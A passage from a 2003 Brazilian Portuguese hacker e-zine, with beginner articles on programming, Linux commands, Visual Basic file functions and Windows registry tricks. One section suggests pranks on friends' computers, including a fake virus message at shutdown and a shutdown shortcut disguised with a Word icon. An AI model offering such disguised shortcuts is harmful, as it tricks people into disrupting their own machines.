dP dP
88 88
88d8b.d8b. .d8888b. d8888P .d888b88
88'`88'`88 88' `88 88 88' `88
88 88 88 88. .88 88 88. .88
dP dP dP `88888P' dP `88888P8
oo dP
88
.d8888b. dP dP dP .d888b88 .d8888b.
88' `88 88 88 88 88' `88 88ooood8
88. .88 88. .88 88 88. .88 88. ...
`8888P88 `88888P' dP `88888P8 `88888P'
.88 Número 01
d8888P
E-zine lançada oficialmente dia 15 de Novembro de 2003.
http://www.motdlabs.org
contato@motdlabs.org
irc.brasnet.org /join #motd
ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que
você venha a fazer. Estou certo de que estará consciente que ao tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o
que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por
ter feito algo que aprendeu nesta mesma. Obrigado pela a atenção e boa
leitura!!! :)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
IP_FIX......................................................ip_fix@motdlabs.org
Cod3x......................................................codexmail@bol.com.br
SKOFF........................................................skoff@motdlabs.org
hallucination................................................hallz@motdlabs.org
BlackSheep182.........................................blacksheep182@brasnet.org
Nash Leon…................................................nashleon@yahoo.com.br
D4rwin........................................................d4rwin@bol.com.br
Inferninh0..............................................inferninho@motdlabs.org
Caiobat.....................................................caiobat@brasnet.org
Vo5.............................................................vo@motdlabs.org
RedEyes.....................................................redeyes@brasnet.org
Greenhornet............................................greenhornet@motdlabs.org
Jakk_.........................................................jakk_@brasnet.org
HazzarD.....................................................hazzard@brasnet.org
SkyNet45.....................................................skynet@bsdmail.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ 01 ] Introdução (by IP_FIX)
[ 02 ] Introdução à Programação (by D4rwin)
[ 03 ] Introdução ao Linux (by BlackSheep 182)
Programação
[ 04 ] Programando em Visual Basic (by SKOFF)
[ 05 ] Programando em Badcom (by IP_FIX)
[ 06 ] Programando API em C++ para Windows (by Vo5)
Linux
[ 07 ] Instalando Linux pela 1º vez (by IP_FIX)
[ 08 ] Permições de Arquivos (by Jakk_)
[ 09 ] Programas em Modo Texto (by greenhornet)
Hacking
[ 10 ] Hackeando pelo Google (by BlackSheep182)
[ 11 ] Códigos para Celulares (by Caiobat)
[ 12 ] Introdução ao Hacking Ético (by Nash Leon)
[ 13 ] Básico Shell Code (by Nash Leon)
[ 14 ] Básico Buffer OverFlow (by Nash Leon)
Diversos
[ 15 ] Varreduras e Varreduras (by hallucination)
[ 16 ] Vírus de Macro (by SKOFF)
[ 17 ] Hardware (by RedEyes)
[ 18 ] Básico sobre Redes (by SkyNet45)
[ 19 ] FAQ – Trojans (by D4rwin)
[ 20 ] Telefonia (by Hazzard)
[ 21 ] Segurança Digital (by Inferninh0)
[ 22 ] MOTD no Conisli (by IP_FIX)
[ 23 ] Agradecimentos e Links
“Don´t learn to hack, hack to learn.” – 2600
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 01 ]=-=[ Introdução ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Na data 31/07/03 foi criado o #MOTD. Depois de desentendimentos e perda do no
nosso ex-canal virii, surge ele com pessoas realmente competentes, com
interesses iguais e uma mesma ética: Livre liberação de infos e discussão dos
mesmos de forma consciente.
Esse é um grupo novo, com 95% formado por Newbies que tem sede de infos de
conteúdo e muita disposição de aprender, 3% são gente de nível bem acima. Não,
não são hackers, são “Fuçadores”, que possui um nível maior de experiência e que
com a ajuda deles, o grupo está crescendo, não só em número, mas em conhecimento
geral; uma mão lava a outra e temos que nos unir se quisermos alcançar nosso
objetivo que é obter total conhecimento e passar-lhe adiante para todos. Os 2%
restantes do grupo são gente sem escrúpulos que só querem coisas prontas e
respostas completas para suas perguntas, nem preciso falar a quem estou me
referindo, mas só falo uma coisa: “- Lamers, Script Kiddies, Defacers e afins,
aviso que esta e-zine assim como o grupo #motd, não foram feitos para vocês. Se
quiserem algum conselho, vão para http://www.google.com.br e digitem: exploit
. Afinal, é só isso que sabem fazer!”.
Se você não se encaixa no último perfil, bem-vindo ao grupo e aproveite essa
e-zine. Ela é a terceira de nossa geração e a primeira com o nome do novo grupo.
Os assuntos estão bem variados e nos esforçamos ao máximo para fornece-lo a
você, jovem fuçador, e espero que tenhamos o ajudado com algumas de suas
dúvidas. Lembrando que escremos essa zine para Newbies, mas Newbies ao ponto ex
-lamer e aos que tem curiosidade do mundo underground.
Por que escrevemos essa e-zine? Foi para ajudar aos newbies/fuçadores recém
chegados a esse submundo que estão tendo dificuldades de conseguir uma base para
conseguirem caminhar sozinhos e desenvolver coisas por sí próprio. Escrevemos
também para aqueles que “querem sair” da vida de kiddies, defacers e tals para
seguir uma ética que não degrina a imagem “HACKER” que é mal usada pela mídia e
é também usada para fins lucrativos, mas que pretendemos mudar isso.
A respeito das matérias, muita gente colaborou com o que pôde. Fiquei feliz
que nas últimas semanas recebi vários e-mails de gente querendo ajudar o grupo
com o mínimo que pudesse e outras já mandando suas matérias prontas. Para
aqueles que ficou me devendo matéria e/ou não conseguiram me entregar, digo para
guardarem, melhorarem e me enviarem pra já organizar para próxima edição. Não
tem previsão de lançamento as próximas edições, já que varia muito da motivação
do pessoal e disposição, mas assim que tivermos infos suficientes ela será
lançada o mais rápido possível.
Percebam que os tópicos são de assuntos básicos/intermediários que são de
fácil entendimento para os navegadores de primeira viagem e um prato cheio para
aqueles que não cansam de fixar o que já aprendeu. Pretendemos no decorrer do
tempo disponibilizarmos informações de maior conteúdo, coisas da atualidade,
novas técnicas, etc...Assim propiciando uma melhor fonte de informações não
repetidas que geralmente encontramos na net afora.
Antes que faça uma crítica negativa, lembre-se: Estamos escrevendo para
Newbies. Repetindo: Novatos no underground. Se você achou os conteúdos de baixo
nível, faça uma das duas coisas que irei citar: Pare de ler e vá fazer outra
coisa; ou procure nos ajudar passando seu conhecimento. Conhecimento e
informação foram feitos para ser passado adiante, não para se elitizar.
Encerro aqui dizendo que o hacking não é para qualquer um. Se todo que
quisesse virassem hacker, o mundo estaria infestado. Hacking é um estudo que não
tem fim, limites, barreiras... Ele sempre te leva pra mais longe, cada vez mais
longe e quando você se dá conta, não está nem na metade do fim do curso; pois
sempre aparecerá novos degraus e bifurcações para subir essa escada infinita
chamada HACKER...
Agradeço desde já, o grupo MOTD, que cada vez mais me surpreende com a garra
firme e a seriedade que estão levando o hacking veradeiro à frente. E é claro ao
pessoal do CDM, Clube dos Mercenários, que possui os mais variados e
surpreendentes fuçadores do Brasil. Thanks for all!!
Atenciosamente,
IP_FIX.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 02 ]=-=[ Introdução à Programação ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Conceitos de Programaçao
O que e um programa?
E um conjunto de instruçoes que dizem ao computador o que fazer. Esse conjunto
de instruçoes, escritas originalmente pelo programador, e chamado de codigo
-fonte. Existem varias linguagens que vc pode aprender com a finalidade de
escrever programas.
O programa deve ser selecionado pela sua capacidade de realizar a tarefa que vc
deseja que ela execute. Os tipos de programas incluem planilhas, processadores
de txt, programas de editoraçao eletronica, banco de dados e muitos outros.
Como funcionam os programas?
O DOS (Disk Operating System) e em essencia o cerebro do computador. O sistema
operacional e um programa de computador. Sem ele, seu computador nao poderia
funcionar. Ele executa instruçoes armazenadas em um arquivo de programa
executavel. Essas instruçoes proporcionam as funçoes normais de exibiçao ao
disco. As intruçoes codificadas no DOS em nada se parecem com as instruçoes do
programa original; elas estao escritas em codigo de maquina.
Codigo de Maquina
Para que um computador possa compreender um programa, as instruçoes desse
programa devem ser traduzidas para a linguagem de maquina, uma serie de valores
0 e 1 chamados numeros binarios. Esses numeros binarios representam instruçoes
no programa. Imagine um computador como um diplomata dos EUA que so fala arabe.
Para entender discursos em outros idiomas, o diplomata deve usar os serviços de
um tradutos. Os programadores usam compiladores para traduzir suas instruçoes de
programa em uma forma legivel por um sistema operacional; essa forma e chamada
de codigo de maquina
Compiladores e Interpretadores
Um programador tem utilizar um compilador ou um interpretador a fim de traduzir
o codigo-fonte de alto nivel em codigo de maquina de baixo nivel.
A principal diferença entre um compilador e um interpretador esta na maneira
como executam um programa. Um compilador traduz todo o programa em linguagem de
maquina antes de iniciar a execuçao das instruçoes. Ao contrario, um
interpretador le e executa uma instruçao de cada vez. A vantagem da execuçao
pelo compilador e que ela e muito mais rapido do que a execuçao feita pelo
interpretador. A desvantagem de um compilador e que o programador precisa
esperar ate que todo o programa seja compilado antes de ser possivel identificar
qualquer erro (nao importando o quanto esse erro seja pequeno).
Interface
O termo interface se refere ao aspecto de um programa para seus usuarios. Na
maioria dos casos, um programa e projetado com a finalidade de ser utilizado por
outros. Interface e o termo generico usada para designar como o programa e vista
na tela do usuario e a maneira pela qual o usuario se comunica com ele.
Variaveis
Para que se possa entender programaçao, e necessario saber o que sao variaveis e
pra que servem. A variavel e um dos elementos fundamentais em qualquer linguagem
de programaçao. Voce deve se lembrar da algebra elementar, aquela que vc odeia,
HeHeHeHe, entao, variavel em programaçao e quase a mesma coisa. Os computadores
utilizam variaveis de maneira muito semelhante ao modo como sao usadas em
algebra. Os dados armazenados em uma variavel podem se modificar. Em algebra,
uma expressao tipica e y = x+2. O valor y se modifica conforme o valor x; x e y
sao chamados de variaveis porque seus valores podem se alterar.
Tipos de Intruçoes
A medida que vc começa a escrever programas, passa a conhecer varios tipos
diferentes de instuçoes de programaçao. Entre elas temos :
----> Intruçoes de Entrada
----> Intruçoes de Saida
----> Intruçoes Condicionais
----> Intruçoes de Seleçao de caso
----> Intruçoes de Atribuiçao
----> Intruçoes de Chamada a Sub-Rotina
----> Funçao
----> Comentarios
----> Loops
Instruçoes de Entrada
Todas as linguagens de programaçao tem instruçoes de entrada, que sao instruçoes
para levar informaçoes a um programa. Uma lista de compras e um exemplo simples
de instruçao de entrada. Vc entra com cada item que planeja adquirir no mercado,
e seu programa instrui o computador para imprimir a lista em sua impressora.
Instruçoes de Saida
Nao importa o quanto o seu programa seja bom, ninguem o conhecera se ele nao
tiver instruçoes de saida. Pode-se afirmar que a finalidade de um programa e sua
saida; um programa deve exibir seus resultados.
Contudo, saida significa mais que algo impresso na tela. Da mesma forma que as
instruçoes de entrada servem para que o programa receba dados de entrada de
diferentes maneiras, as instruçoes de saida podem enviar a saida de mais uma
maneira. Nos programas que tem entrada mas nao apresentam saida, as informaçoes
podem ser recolhidas e manipuladas, mas o codigo nao tem qualquer efeito. Ao
adicionar uma saida ao seu programa, vc pode ver o resultado nas açoes do
programa; pode enviar essas informaçoes para a tela, a impressora, um arquivo,
etc.
Instruçoes Condicionais
"Se nao pode aguentar o calor, fique fora da cozinha."
Essa e uma instruçao condicional. Seu nome vem do fato de que ela avalia uma
condiçao e entao executa uma açao com base nessa condiçao. Por exemplo,se(vc nao
aguenta o calor), entao fique fora da cozinha.
Instuçoes de Seleçao de Caso ou Select Case
As instruçoes case sao uma forma abreviada de escrever instruçoes condicionais.
Se vc precisar avaliar uma expressao longa ou complicada e tiver de compara-la
com dois ou mais valores condicionais (dois ou mais testes sobre a expressao),
vc pode substituir os testes por uma instruçao de selecao de caso.
Instruçoes de Atribuiçao
As instruçoes de atribuiçao designam valores a uma variavel. Um sinal de
igualdade ( = ) e a forma usada com mais frequencia para fazer uma atribuiçao.
Vc pode atribuir um valor a qualquer variavel do mesmo tipo. As expressoes
A = B e Total = Media
sao instruçoes de atribuiçao. Vc pode atribuir qualquer variavel a uma outra
variavel do mesmo tipo, determinar o valor de uma expressao e considerar uma
variavel igual a ela, e tambem definir uma variavel como resultado de uma
funçao.
Intruçoes de Chamada a Sub-Rotina
Quando e necessario uma açao repetitiva que utiliza duas ou mais instruçoes,
esse grupo de instruçoes e um forte candidato a se transformar em uma sub
-rotina. Uma sub-rotina e, na realidade, uma seçao separada de codigo, fora da
sequencia de execuçao principal do programa. Para dizer ao seu programa que
execute a sub-rotina, e utilizada a palavra-chave CALL na maior parte das
linguagens.
Funçao
Uma funçao e semelhante a uma sub-rotina no fato de que e um grupo de
instruçoes relacionadas que podem ser executadas por uma unica instruçao de
atribuiçao. Como vc ja sabe, uma sub-rotina retorna ao programa principal quando
termina sua tarefa. Uma funçao faz a mesma coisa; a unica diferença e que traz
com ela um valor.
Comentarios
Um comentario e uma anotaçao ou explicaçao do codigo e eh uma parte importante
da caixa de ferramentas do programdor. Escrever comentarios junto com seu codigo
pode ajudar vc ou qualquer pessoa que leia seu programa a compreender o que faz
cada seçao do programa. A seguir segue alguns exemplos de comentarios em Pascal,
C e C++:
Pascal
{Este e um exemplo de comentario em Pascal, o comentario pode continuar por
varias linha ate chegar a chave final.}
C
/* Este e um comentario em C. Tudo que estiver escrito na sequencia de barra e
asterisco(/* e /*) serao ignorados pelo programa. Assim como no Pascal, o
comentario so acaba quando chegar a barra e asterisco que segue. */
C++
// Este e um comentario em C++, e diferente das outras linguagens, para cada
//linha de comentario se utiliza duas barras antes de inciar a frase.
Loops
Um loop repete uma instruçao ou um conjunto de instuçoes ate que uma condiçao
que vc especificou seja satisfeita. Existem varias especies de instruçoes de
loop; com elas, vc pode controlar o fluxo do seu programa.
Tipos de Dados Simples e Operadores Elementares
Os computadores foram criados para processar dados. Os programas de computador
recebem dados brutos (em geral do teclado ou de um arquivo de disco), processam
esses dados e produzem informaçoes com significao. Abaixo segue um modelo basico
de um programa de computador:
_________ ____________________ __________________
| | | | | |
| Entrada | -------> | Processa a Entrada | -----------> | Produz a Saida |
|_________| |____________________| |__________________|
Um programa tem de ser capaz de armazenar sua entrada em algum lugar, para que
possa trabalhar com os dados e processa=los, produzindo alguma saida util para o
usuario. Todos os dados processados por um programa sao armazenados no programa
como uma variavel ou uma constante.
Variaveis e Constantes
Como o nome jah diz, variaveis sao aquelas que podem variar. Em outras
palavras, as variaveis possuem dados que se modificam com o decorrer do programa
ja as constantes sao valores que nunca se alteram.
Tipos de Dados
Os dados, estejam contidos em variaveis ou constantes, podem ser de diferentes
tipos. Veja a tabela a seguir:
______Nome_______
| |
| Inteiros |
| Inteiros longos |
| Reias |
|_________________|
Arrays
Depois de estar programando por algum tempo, vc poderia descobrir a necessidade
de um tipo especial de variaveil, denominada array. Imagine que vc tem de
controlar uma centena e valores e pontos em um torneio de cross-crountry, e deve
computar a media entre os pontos, determinar a maior e menor contagem de pontos,
alem de calcular mais algums estatisticas. Aplicando o que vc sabe ate agora, vc
precisaria de cem variaveis para armazenar as cem contagens de pontos.
Entretanto, vc nao gostaria de ter que criar uma centena de nomes diferentes de
variaveis para guardar todos os totais de pontos; isso seria muito trabalhoso.
Alem disso, se quisesse somar todos esses valores, seria preciso uma instruçao
semelhante a esta:
total1 = pontos1 + pontos2 + pontos3 + ........ + pontos100
Depois de vc ter somado os cem valores de pontos, essa instruçao espalharia por
diversas linhas em um programa. As linguagens de programaçao oferecem uma
alternativa muito melhor: os arrays. Uma array e uma lista de variaveis que tem
todas o mesmo nome. Um array contem mais de uma variavel, cada uma delas com o
mesmo noem das outras, mas ha um forma pela qual vc e seu programa podem
distinguir uma variavel da outra. Por faz-se necessario o uso de um subscrito.
Subscrito e um numero de sequencia, que começa em 0 ou 1, dependendo da
linguagem, e que informa ao computador quais dentre as variaveix do array vc
deseja utilizar. A seguir tem um exemplo de array:
pontos(1) | pontos(2) | pontos(3) | ...... | pontos(100)
OBS.: em algumas linguagens como C, se faz uso de [] ao inves de ().
Ta aew o txt. Se vc chego ate aqui parabens, eh um txt grande. So quero dizeh ki
isso eh tudo que eu sei de programaçao, ou melhor, introduçao a programaçao. Faz
poco tempo que me envolvo com issso. Flw aew.
Texto escrito por : D4rwin
d4rwin@bol.com.br ( irc.brasnet.org - #motd #phreak - nick: D4rwin )
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 03 ]=-=[ Introdução ao Linux ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Índice :
1 - Introdução a linux
2 - Unix\linux
3 - Organização do linux
4 - Comandos do linux
5 - Finalizando
Introdução ao linux :
Todo mundo sabe que linux é um sistema operacional muito usado por empresas ,
sites de administração e inclusive pelos hackers .
O linux foi inicialmente programado por Linus Torvalds , ainda quando era
estudante da universidade de Helsinki , na Finlândia Daí o pingüim ser um
símbolo tão bom para esse sistema operacional .
Unix\Linux :
O linux recebeu esse nome com referencia a seu criador e, é claro , por mera
semelhança ao Unix .
Linux surgiu como um projeto pessoal de Linus Torvalds , que iniciou seus
trabalhos inspirando - se no modelo Minix , um pequeno sistema operacional Unix
desenvolvido por Andy Tannembaum.
Organização do linux.
O linux pode ser dividido operacionalmente em três partes distintas ;
# Kernel
# Shell
# utilitarios e aplicativos
O kernel é o linux propriamente dito . O que realmente chamam de linux é a suas
distribuições.
O Shell é um programa que interpreta comandos digitados por um usuário e envia
para o kernel . Além disso o Shell é uma linguagem de programação completa com
variáveis , ponteiros e etc.
Os aplicativos e utilitários são os principais programas adicionados ao linux ,
como editores de texto , navegadores , mailers e etc.
O linux estruturalmente organiza seus arquivos em diretórios funcionais ,
conformo mostro abaixo :
/bin contem os principais arquivos executáveis ou links de binários de outros
diretórios .
/boot contem arquivos de referencia do boot de inicialização do linux.
/dev contem arquivos dispositivos de entrada e saída .
/etc contem arquivos de configuração do sistema , de informação de redes ,
senhas , logons e etc.
/home contem os diretórios dos usuários cadastrados nos sistema.
/lib contem arquivos de bibliotecas
/mnt contem links de montagem e partições.
/root diretório local do usuário
/sbin contem arquivos de sistemas essenciais
/tmp contem arquivos temporários gerados por certos usuários.
/usr contem arquivos de usuários , diretórios de programas instalados
/var contem arquivos mais importantes da administração e gerencia do sistema.
Comandos dos linux :
Quero mostrar aqui alguns comandos para o usuário newbie usar o linux com mais
facilidade :
Adduser cria uma conta para um novo usuário
Cal mostra o calendário
Cat imprime o conteúdo do arquivo na tela
Cd muda de diretório
Chmod muda as permissões de arquivos e diretórios
Clear limpa a tela
Cp copia arquivos .
Date mostra a data e a hora atual
Du mostra o espaço utilizado por um aquivo
Echo mostra uma linha de texto
Find procura arquivos
Finger aponta um usuário e mostra informações sobre ele
Free mostra o espaço livro na memória
ftp comando usado para permitir transferência de arquivos
grep procura por nomes dentro de arquivos
gunzip descompacta arquivos com extensão gz
help mostra uma lista de comandos comuns
hostname informa o nome do host
ls lista os arquivos do diretório
logout finaliza a Shell
mail permite que usuários recebem emails ou não.
Mkdir cria um diretório
Pwd mostra odiretorio onde você se encontra
rlogin permite o login remoto
rmdir deleta diretorios
shutdown termina processos e renicia a maquina
telnet comando que permite comunicar um host com outro (permite acesso remoto).
Vi editor de texto
Who mostra usuários logados no sistema naquela hora
Finalizando :
Bom como viram forneci algumas informações básicas que ajudaram muito o usuario
newbie a navegar pelo sistema , espero que façam bom proveito e em breve estarei
escrevendo algo novo
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 04 ]=-=[ Programando em Visual Basic ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Poderia dizer que estou escrevendo este artigo porque não tenho nada pra fazer,
mas nem é isso, estou escrevendo ele porque as funções as quais estou explicando
são pouco encontradas em texto adquiridos na Internet.
Pretendo no decorrer da E-zine ir explicando mais sobre algumas outras
funções... só que nem sei se vou continuar fazendo isso mesmo porque ando muito
ocupado.... mas seja o que Deus quiser :)
Comandos:
Kill ----> Função Utilizada em VB para deletar arquivos
Sint: Kill "Arquivo.exe"
Exe: Kill "C:\Algo1\algo.exe
Explicação:
Ele vai Deletar o Arquivo Algo.exe contido na pasta Algo1
OBS.: Caso o programa não encontre o arquivo irá aparecer uma Mensagem de erro
que não lembro o nome. :(
--------------
ChDir ----> Função Utilizada para a mudança do diretório principal
Sint: ChDir "Diretório"
Exe: "C:\Algo1\"
Explicação:
Vamos supor que o diretório principal fosse C:\, agora vai ser C:\Algo1\
OBS.: Caso o Diretório não existe irá aparecer uma mensagem de erro que também
não lembro o nome. :(
Então preste atenção antes e verifique se o diretório existe...
---------------
ChDrive ----> Função Utilizada Para muda o Driver(unidade)
Sint: ChDrive "Letra do Driver"
Exe: ChDrive "D"
Explicação:
Caso o Driver principal fosse C:\, agora vai ser D:\
OBS.: Verifique se você tem D:\, pra evitar conflitos. :)
---------------
FileCopy ----> Função Utilizada para copiar arquivos
Sint: FileCopy "Diretório\Arquivo" "Diretório"
Exe: FileCopy "C:\autoexec.bat" "C:\windows\"
Explicação:
O programa irá pegar arquivos e irá copiar para um diretório (determinado por
você).
OBS.: Verifique Se o arquivo existe e se o diretório esta correto. :)
---------------
FileLen -----> Função Utilizada para adquiri informações do Arquivo (Tamanho do
Arquivo)
Sint: FileLen "Diretório\Arquivo.extensão"
Exe: FileLen "C:\windows\telene.exe"
Explicação:
Este comando tem a principal finalidade de fornecer o tamanho do arquivo, no
caso do exemplo oi o telnet
OBS.: Verifique se o arquivo que você escolheu existe antes de usar esse comando. :)
--------------
FileDateTime -----> Função Utilizada para mostrar a hora que o arquivo foi criado
Sint: FileDataTime "Diretório\arquivo.extensão"
Exe: FileDataTime "C:\autoexec.bat"
Explicação:
Ele irá pegar os dados de quando o autoexec.bat foi criado :)
OBS.: NDA
--------------
MkDir -----> Função Utilizada para criar Pastas(Existe isso em MSDOS).
Sint: MkDir "Diretório"
Exe: MkDir "C:\Algo\"
Explicação:
o Diretório Algo será criado na unidade C:\
OBS: NDA
-------------
RmDir ------> Função Utilizada para Remover Diretórios.
Sint: RmDir "Diretório"
Exe: RmDir "C:\Algo" ou "Algo"
Explicação:
O diretório Algo irá ser removido da unidade C:\
OBS.: Verifique Antes se o diretório Existe. :)
------------
GetAttr -----> Função Utilizada para indicar os atributos de uma Arquivo;
Seguintes Atributos: Normal, Somente Leitura, Oculto, Sistema e Arquivo.
Sint: Attr "Diretório\Arquivo"
Sint: Attr "C:\autoexec.bat"
Explicação:
Irá mostrar o Atributo ativado no autoexec.bat
--------------
SetAttr -----> Função Utilizada para Mudar ou Adicionar Atributos de um arquivo.
Sint: SetAttr "Diretório\Aruivo", Atributo
Exe: SetAttr "C:\autoexec.bat", 32
Explicação:
O Atributo que será adicionado ao autoxec.bat é "Arquivo"
OBS.: Seguintes Valores para os Atributos: (0 = Normal, 1 = Somente Leitura, 2 =
Oculto, 4 = Sistema e 32 = Arquivo)
--------------
Name -----> Função Utilizada para renomear arquivos
Sint: Dim NomeAntigo, NovoNome
NomeAntigo = "NOMEANTIGO": NovoNome = "NOVOARQUIVO"
Name NomeAntigo As NovoNome
Exe: Dim Arquivoum, Arquivodois
Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe"
Name Arquivoum As Arquivodois
Explicação:
Primeiramente nós declaramos duas Variaveis usando a função Dim(variavel
Arquivoum e Arquivodois) depois definimos o que iria ser cada variavel, no caso
seria essa linha:
Arquivoum = "C:\MEUDIR\ARQUIVOANTIGO.exe": Arquivodois = "C:\MeuDir\NOVOARQUIVO.exe"
e logo após isso nó usamos a função Name para o renomeanto dos arquivos.
OBS.: NDA
----------------
Escrito por SKOFF ou _LiNe_SKOFF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 05 ]=-=[ Programando em Badcom ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Olá galera Newbie, estou aqui mais uma vez para encher o saco de vocês com
informações não interessantes, mas que todo mundo (quase todo mundo) sabe e
gosta de fazer no bom e velho windows, ou melhor, no péssimo e histórico
rwindows.
O que você verá daqui em diante são truques que muita gente sabe e você sempre
verá isso em algum computador um dia. Então chega de papo e vamos ao que
interessa!!! :)
1 - Mudando a tela do "Seu computador já pode ser desligado com segurança."
Isso é fácil de ser feito:
a) Vá no localizar e digite: *.sys;
b) Procure um arquivo chamado "Logos.sys";
c) Dê um duplo clique nele e abra com o velho Paint, "MSPAINT";
d) Ok, está na tela a figura, agora basta você modifica-la desenhando e/ou
escrevendo tudo que quiser e em seguida salve com o mesmo nome (logos.sys) e no
mesmo diretório (C:\WINDOWS) e pronto!!! Desligue o computador e se divirta
fazendo isso no micro de seus amigos.
DICAS: Experimente abrir também o "Logow.sys" e vejá a figura. Faça isso no
micro de seus amigos colocando uma mensagem de erro ou de um vírus, eles ficarão
assustados eu garanto... :D.
ATENÇÃO: Como nem tudo é mil maravilhas, antes de você modificar os arquivo,
faça um backup dele. E outra, NÃO AUMENTE OS PIXELS DELE!!! Senão a imagem vai
ficar toda torta e abstrata quando você desligar!!! PS: PIXEL é o tamanho da
figura. (Que foi? Não é todo mundo que sabe o que é pixel... :D).
2 - Mudando a velocidade do menu de programas do botão iniciar.
Ahhh, esse aqui já tá manjado mas tudo bem. Esse é mais fácil que o de cima.
Faça o seguinte:
a) Clique em "Iniciar", "Executar" e digite "Regedit";
b) Calma não se assuste, agora clique no sinal de + do "HKEY_CURRENT_USER" para
ver as sub-pastas;
c) Abra também a sub-pasta "Control Panel" e clique na pasta "Desktop";
d) Ok, tá vendo isso que apareceu? Pois bem, é ali que vamos adicionar uma nova
seqüência;
e) Clique com o botão direito do mouse no fundo e quando aparacer um menu
escolha "Novo" e "Valor da seqüência";
f) Nomeie ela para "MenuShowDelay" e o valor dela para "0"(zero);
Pronto! Basta reiniciar o computador ou simplesmente fazer um logoff para surtir
efeito!!!
DICAS: Isso só server pra aumentar a velocidade do menu de programas, mas
experimente aumentar o valor de 0 para digamos... 9999999...!!! :).
ATENÇÃO: O Registro (regedit) não é brinquedo não. Um negocinho que você mude
sem querer seu micro poderá ficar desconfigurado permanetimente (se você for
leigo é claro...).
3 - Mudando a hora que fica na bandeja da barra do menu iniciar para qualquer
nome que você queira.
Isso daqui é fácil como o de cima, mas não conheço muita gente que manje desse
esquema. Então, faça o seguinte:
Abra o bom, velho e perigoso "Regedit";
Vá para "HKEY_CURRENT_USER", "Control Panel" e "International";
Crie um "Valor da seqüência" e nomeie de "sTimeFormat" e seu valor para "IP_FIX";
Reinicie o computador ou simplesmente faça o logoff e veja os resultados :).
Lembrando que no lugar de "IP_FIX" coloque a mensagem que você quiser é claro...
DICAS: Para desfazer isso, simplesmente altere o valor para "HH:mm" ou
simplesmente o delete-o.
ATENÇÃO: Só lembrando que com o regedit a gente só brinca se souber o que
estiver fazendo :).
4 - Um atalho destrutivo, ou melhor, reiniciativo.
Bom, isso eu descobri a pouco tempo e é até divertido (quando não faz isso no
computador da escola... perdi 10 pontos por causa disso... :().
Esse é o mais fácil de todos. Faça o seguinte:
Sabe a área de trabalho? Aquela que fica o ícone do "Meu computador"? Lembrou?
Ótimo!!!;
Clique com o botão direito do mouse e clique em "Novo" e em seguida em "Atalho";
Nessa janelinha que abriu aí pedindo para inserir o nome do caminho do que você
quer abrir, digite "C:\WINDOWS\rundll.exe user.exe,exitwindows";
Depois dê um nome para ele e em seguida o execute-o!;
DICAS: Você pode alterar a figura dele colocando o ícone do Microsoft Word, por
exemplo, assim seus amigos "LEIGOS" irão quebrar a cabeça para descobrir o por
quê que o computador desliga/reinicia :). Não existe só o caminho para desligar,
tem também como reiniciar!
ATENÇÃO: Não faça isso nas aulas de informática, perdi 10 pontos por isso :(...
5 - Badcom: Básico do Básico
Badcom pra quem não sabe é uma linguagem não estrutudara padrão do windows. Já
viu aqueles arquivos .bat que tem o desenho de uma engrenagem no meio??? Então!
Aquilo usa badcom para ser executado!
Se eu fosse explicar tudo sobre badcom demoraria muito, então pretendo escrever
um tutorial só sobre badcom futuramente. Mas o explicar o básico que é o
suficiente para se criar algo "eficaz" :D.
